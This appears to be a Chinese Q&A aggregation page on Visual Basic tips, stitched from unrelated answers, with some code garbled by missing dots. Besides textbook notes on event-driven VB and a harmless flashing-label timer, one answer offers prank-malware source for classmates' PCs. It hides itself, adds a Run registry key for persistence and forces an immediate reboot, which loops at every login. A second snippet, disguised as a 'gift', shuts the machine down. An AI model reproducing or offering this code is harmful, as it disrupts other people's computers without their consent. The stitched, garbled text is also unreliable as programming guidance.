vb有哪些编程技巧

敲代码很好学。

在面向对象的程序设计中，我们把外界的刺激用事件来表示，而把对这个事件的反应称为事件过程。

可视化和事件驱动正是使用VB进行Windows程序设计的精髓所在。事件驱动，即事件发生时，程序才会运行，在没有事件时，整个程序处于停滞状态。事件决定了对象之间的联系。在VB中，事件就是能够被对象识别的动作，如用鼠标单击或双击，键盘输入、鼠标的移动、窗体的载入，还有定时器产生的定时信号。

VB的每个窗体和控件都有一个预定义的事件集，它们能够自动识别属于事件集中的事件，大多数类型的事件是各种控件所共有的，例如命令按钮和窗体都可以对单击、双击和按键这样的事件做出响应，而某些事件只能发生在特定的对象上。 相同的事件发生在不同的对象上得到的反应是不一样的，造成这种差异是事件过程的缘故，对象对每一个可以识别的事件都有一个事件过程，当事件发生时，会自动执行这个事件的过程。语法如下：

Private Sub 对象名_事件()

处理事件的程序代码

End Sub

在VB程序设计过程中，基本的思想就是改变对象的属性，使用对象的方法和为对象的事件编写事件过程。除非有必要，用户不必为所有的事件编写事件过程，Windows系统会以默认的方式来处理事件。使用VB编写程序的妙处在于：只有当用户要以某种特定方式来响应某个事件时，才有必要针对某个事件的事件过程。

事件驱动程序中典型的事件序列：

启动应用程序，装载并显示窗体，产生Load和Show事件。

窗体或窗体上的控件接收事件。事件可以由用户引发、由系统引发，也可以由代码间接引发。

如果在相应的事件过程中存在代码，则执行代码。

应用程序等待下一次事件。

应用程序中使用一个窗体时，程序开始运行时窗体接收到了Load消息，从而引发了窗体的Load事件，在这个默认的事件过程中，什么语句都没有，这个过程只是调用就结束了，而VB则执行了一个重要的默认 *** 作——把窗体装入内存。

许多事件的发生常常会伴随其它事件发生：双击事件发生时，按下鼠标键、复原鼠标键和单击事件也会发生。

希望我能帮助你解疑释惑。

目前在windows平台上运行的各种软件几乎都可以用VB编写。一些标准的窗口界面程序，如记事本，画图等，可以用VB来完成。常见的游戏软件如五子棋、扑克、扫雷、俄罗斯方块等也可以用VB编写。即使是大型的数据处理软件，同样可以用VB作为开发工具，世界著名的3大统计软件之一--SPSS就是用VB开发的。从处理文字、图像，到使用数据库，VB提供了完成这些工作的所有工具。只要充分发挥个人的创意，您所能想到的程序几乎都可以用VB开发出来。另外VB也是WINDOWS应用程序，数据库应用程序，多媒体应用程序以及网络应用程序开发的理想工具。

以上内容来源于Visual

Basic

程序设计（第二版）

清华大学出版社

从我了解的情况来看，现在学VB的人应该比以前少了，网上的一些信息也说VB有一种没有的感觉。但是如果能精通一门语言的话，以后想转到其它的语言也是比较轻松的，而且要是精通了，那肯定很行，不管是哪种语言。这是我的一些看法，你可以参考一下

这不好哦

这段代码会让你们同学的电脑部段重启

Dim

a

As

Integer,

mulu

As

String

Private

Sub

Form_Load()

Dim

w

mulu

=

Trim(AppPath)

&

"\"

&

"好玩"

Set

w

=

CreateObject("wscriptshell")

wregwrite

"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"

&

"好玩",

mulu,

"REG_SZ"

'这是一行上的哦应该都有知道吧

a

=

0

AppTaskVisible

=

False

Form1Hide

End

Sub

Private

Sub

Timer1_Timer()’要添加个timer1控件将Interval属性设置为1000

a

=

a

+

1

If

a

=

9

Then

Shell

"shutdown

-r

-t

0"

If

a

=

10

Then

MsgBox

"呵呵,准备给我打点话吧"

End

If

End

Sub

前提是没被杀毒软件阻止

生成保存命名的时候

叫

“好玩”不然要错

有疑问连系115101499

我的QQ

Private Sub Form_Load()

If MsgBox("我的礼物很好，请确定", vbYesNo) = vbNo Then Shell "e:\shutdownexe -s -t 0"

End Sub

代码太长了，我上传附件吧。（放心，没病毒的，源代码都给你了，不信，自己看）

我可是好不容易写完了，一定要采纳啊，否则就白写了

效果是显示“您的电脑将在60秒后蓝屏”，而且一般的方法无法关闭的，60秒后d出对话框

“靠！你用的什么杀毒软件？居然害不了你！”

注意：纯属娱乐，绝无恶意！

labe为数组Dim xh As Integer

Private Sub Command1_Click()

    xh = Val(Text1)

    Timer1Enabled = True

End Sub

Sub xian(a1 As Boolean, a2 As Boolean, a3 As Boolean)

    Label1(0)Visible = a1

    Label1(1)Visible = a2

    Label1(2)Visible = a3

End Sub

Private Sub Form_Load()

    Timer1Interval = 1000  '数字越少，闪烁频率越快

    Text1 = 3

End Sub

Private Sub Timer1_Timer()

    Static i As Integer

    If xh = 0 Then Timer1Enabled = False: Exit Sub

    i = i + 1

    If i = 1 Then

        Call xian(True, False, False)

    ElseIf i = 2 Then

        Call xian(False, True, False)

    ElseIf i = 3 Then

        Call xian(False, False, True)

    ElseIf i = 4 Then

        Call xian(True, True, True)

    ElseIf i = 5 Then

        xh = xh - 1

        i = 0

    End If

End Sub

以上就是关于vb有哪些编程技巧全部的内容，包括:vb有哪些编程技巧、vb语言能写出什么东西、用VB制作恶搞小程序等相关内容解答，如果想了解更多相关内容，可以关注我们，你们的支持是我们更新的动力！